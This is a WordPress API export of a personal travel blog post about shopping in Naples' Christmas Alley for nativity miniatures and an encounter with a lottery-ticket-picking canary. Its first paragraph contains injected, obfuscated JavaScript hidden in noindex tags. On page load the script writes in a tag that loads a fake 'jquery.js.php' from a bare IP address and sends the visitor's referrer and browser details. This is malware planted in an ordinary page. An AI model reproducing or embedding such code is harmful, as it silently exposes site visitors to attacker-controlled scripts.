{"id":5284,"date":"2017-08-19T14:46:07","date_gmt":"2017-08-19T21:46:07","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=5284"},"modified":"2017-08-19T14:54:44","modified_gmt":"2017-08-19T21:54:44","slug":"christmas-alley","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=5284","title":{"rendered":"Christmas Alley"},"content":{"rendered":"<p>One of the first things we did on <a href=\"http:\/\/www.rebeccagibson.org\/?p=4834\">my <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eynia|var|u0026u|referrer|isszz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> visit to Naples<\/a> was visit the touristy bit of downtown: \u00c2\u00a0my family knew I would particularly like Christmas Alley, and indeed, it was (forgive me) right up my alley! \u00c2\u00a0:D<\/p>\n<p>Naples is (I learned) the birthplace of the Nativity Scene. \u00c2\u00a0I love nativities and it&#8217;s always been a big part of our family holiday tradition. So it was marvelous to see this little cobblestone alley, steeply sloped, crowded on both sides with little shops full of miniature villages and bits of villages and parts of bits of villages. \u00c2\u00a0A marketplace full of model marketplaces, in ever-diminishing scale: \u00c2\u00a0tiny shepherds and angels but also tiny fish vendors and cheese makers and cobblers and pizza ovens and grandmothers looping tiny fresh pasta over tiny wooden racks, pigeons and doves and street lamps and fountains, all heaped into bins, small, smaller and smallest, for fore-, middle-, and background.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5069 size-thumbnail\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/IMG_1929-2-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5070 size-thumbnail\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/IMG_1930-2-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5068 size-thumbnail\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/IMG_1908-3-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5065 size-thumbnail\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/IMG_1894-3-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5066 size-thumbnail\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2017\/08\/IMG_1898-2-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" \/>.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/OSDyMDf0A5I\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Next we went on a tour of Naples Below&#8230; but meanwhile, we have grand ambitions of a large-scale nativity scene with moving figurines in all 3 scales, only it&#8217;s going to be The Hobbit. \u00c2\u00a0Hobbit hole up front, dragon cave in the far background&#8230;<\/p>\n<p>PS &#8212; At the end of Christmas Alley we were approached by an obvious con artist, who was an adorable canary. \u00c2\u00a0He traveled up and down the street in a little wooden box, carried by his human associate. \u00c2\u00a0They would approach tourists, clearly offering an opportunity to take a &#8220;selfie with canary,&#8221; and also clearly expecting tips (the suggestion was an outrageous 5 euros). \u00c2\u00a0We declined to give them money, but the canary did sit on my finger, and then on Jaden&#8217;s, and then when we tried to return him politely to his box he hopped up onto my shoulder and got himself tangled up in my hair. \u00c2\u00a0Once we got him back where he belonged, he opened a little drawer in his box &#8212; no kidding &#8212; and picked out a lottery ticket, which he handed to me with his tiny little beak. \u00c2\u00a0At that point I was impressed enough to give him the 5 euros. \u00c2\u00a0I hope he was giving a fair share to the guy carrying him around&#8230; \u00c2\u00a0It&#8217;s a great little street scam and I am sure there are whole flocks of young canaries being taught this shady art. \u00c2\u00a0They probably pick pockets, too. \u00c2\u00a0Of course after all that we totally neglected to take a picture! I will have to draw one&#8230;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>One of the first things we did on my visit to Naples was visit the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4850,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[124],"tags":[63,34],"class_list":["post-5284","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-travel","tag-family","tag-travel"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/5284"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5284"}],"version-history":[{"count":5,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/5284\/revisions"}],"predecessor-version":[{"id":5290,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/5284\/revisions\/5290"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4850"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5284"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}